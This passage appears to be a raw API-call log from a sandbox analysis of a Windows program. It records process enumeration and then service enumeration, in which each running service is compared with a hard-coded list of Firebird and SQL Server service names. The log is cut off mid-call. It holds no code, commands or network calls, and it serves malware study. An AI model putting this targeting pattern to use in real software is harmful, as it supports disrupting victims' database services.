CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540 [0173.259] Process32FirstW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.260] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.261] lstrlenW (lpString="System") returned 6 [0173.261] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.262] lstrlenW (lpString="smss.exe") returned 8 [0173.262] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.263] lstrlenW (lpString="csrss.exe") returned 9 [0173.263] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.263] lstrlenW (lpString="wininit.exe") returned 11 [0173.263] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.264] lstrlenW (lpString="csrss.exe") returned 9 [0173.264] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.265] lstrlenW (lpString="winlogon.exe") returned 12 [0173.265] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.266] lstrlenW (lpString="services.exe") returned 12 [0173.266] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.266] lstrlenW (lpString="lsass.exe") returned 9 [0173.266] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.267] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.267] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.268] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.268] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.269] lstrlenW (lpString="svchost.exe") returned 11 [0173.269] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.269] lstrlenW (lpString="svchost.exe") returned 11 [0173.269] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.270] lstrlenW (lpString="dwm.exe") returned 7 [0173.271] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.271] lstrlenW (lpString="svchost.exe") returned 11 [0173.271] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.272] lstrlenW (lpString="svchost.exe") returned 11 [0173.272] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.273] lstrlenW (lpString="svchost.exe") returned 11 [0173.273] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.274] lstrlenW (lpString="svchost.exe") returned 11 [0173.274] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.274] lstrlenW (lpString="svchost.exe") returned 11 [0173.274] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.275] lstrlenW (lpString="svchost.exe") returned 11 [0173.275] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.276] lstrlenW (lpString="svchost.exe") returned 11 [0173.276] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.277] lstrlenW (lpString="svchost.exe") returned 11 [0173.277] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.277] lstrlenW (lpString="svchost.exe") returned 11 [0173.277] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.278] lstrlenW (lpString="svchost.exe") returned 11 [0173.278] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.279] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.279] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.280] lstrlenW (lpString="svchost.exe") returned 11 [0173.280] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.280] lstrlenW (lpString="audiodg.exe") returned 11 [0173.280] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.281] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.281] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0173.282] lstrlenW (lpString="sihost.exe") returned 10 [0173.282] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.283] lstrlenW (lpString="svchost.exe") returned 11 [0173.283] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0173.283] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0173.283] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0173.284] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0173.284] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0173.285] lstrlenW (lpString="Memory Compression") returned 18 [0173.285] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.286] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.286] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0173.287] lstrlenW (lpString="msoia.exe") returned 9 [0173.287] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.288] lstrlenW (lpString="explorer.exe") returned 12 [0173.288] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0173.288] lstrlenW (lpString="SearchUI.exe") returned 12 [0173.288] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0173.289] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0173.289] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0173.290] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0173.290] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.291] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.291] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0173.291] lstrlenW (lpString="wmxsde.exe") returned 10 [0173.291] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0173.292] lstrlenW (lpString="cmd.exe") returned 7 [0173.292] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.293] lstrlenW (lpString="conhost.exe") returned 11 [0173.293] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0173.294] lstrlenW (lpString="consent.exe") returned 11 [0173.294] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0173.294] CloseHandle (hObject=0x540) returned 1 [0173.294] Sleep (dwMilliseconds=0x1f4) [0174.194] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f178 [0174.194] EnumServicesStatusExW (in: hSCManager=0x459f178, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0174.195] GetLastError () returned 0xea [0174.195] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x465ffb0 [0174.195] EnumServicesStatusExW (in: hSCManager=0x459f178, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x465ffb0, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x465ffb0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0174.196] CloseServiceHandle (hSCObject=0x459f178) returned 1 [0174.197] lstrlenW (lpString="Appinfo") returned 7 [0174.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.197] lstrlenW (lpString="AppXSvc") returned 7 [0174.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0174.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0174.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0174.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0174.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0174.197] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.197] lstrlenW (lpString="Audiosrv") returned 8 [0174.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0174.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0174.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0174.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0174.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0174.197] lstrlenW (lpString="BFE") returned 3 [0174.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.197] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.198] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.198] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0174.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.198] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0174.198] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0174.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0174.198] lstrlenW (lpString="CDPSvc") returned 6 [0174.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0174.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0174.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0174.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0174.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0174.198] lstrlenW (lpString="ClickToRunSvc") returned 13 [0174.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.198] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0174.198] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0174.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0174.198] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0174.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0174.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0174.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0174.198] lstrlenW (lpString="CryptSvc") returned 8 [0174.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.199] lstrlenW (lpString="DcomLaunch") returned 10 [0174.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.199] lstrlenW (lpString="DeviceAssociationService") returned 24 [0174.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0174.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0174.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0174.199] lstrlenW (lpString="Dhcp") returned 4 [0174.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.199] lstrlenW (lpString="Dnscache") returned 8 [0174.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.199] lstrlenW (lpString="DPS") returned 3 [0174.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.200] lstrlenW (lpString="DsmSvc") returned 6 [0174.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0174.200] lstrlenW (lpString="DusmSvc") returned 7 [0174.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0174.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0174.200] lstrlenW (lpString="EventLog") returned 8 [0174.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0174.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0174.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0174.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0174.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0174.200] lstrlenW (lpString="EventSystem") returned 11 [0174.200] lstrcmpiW 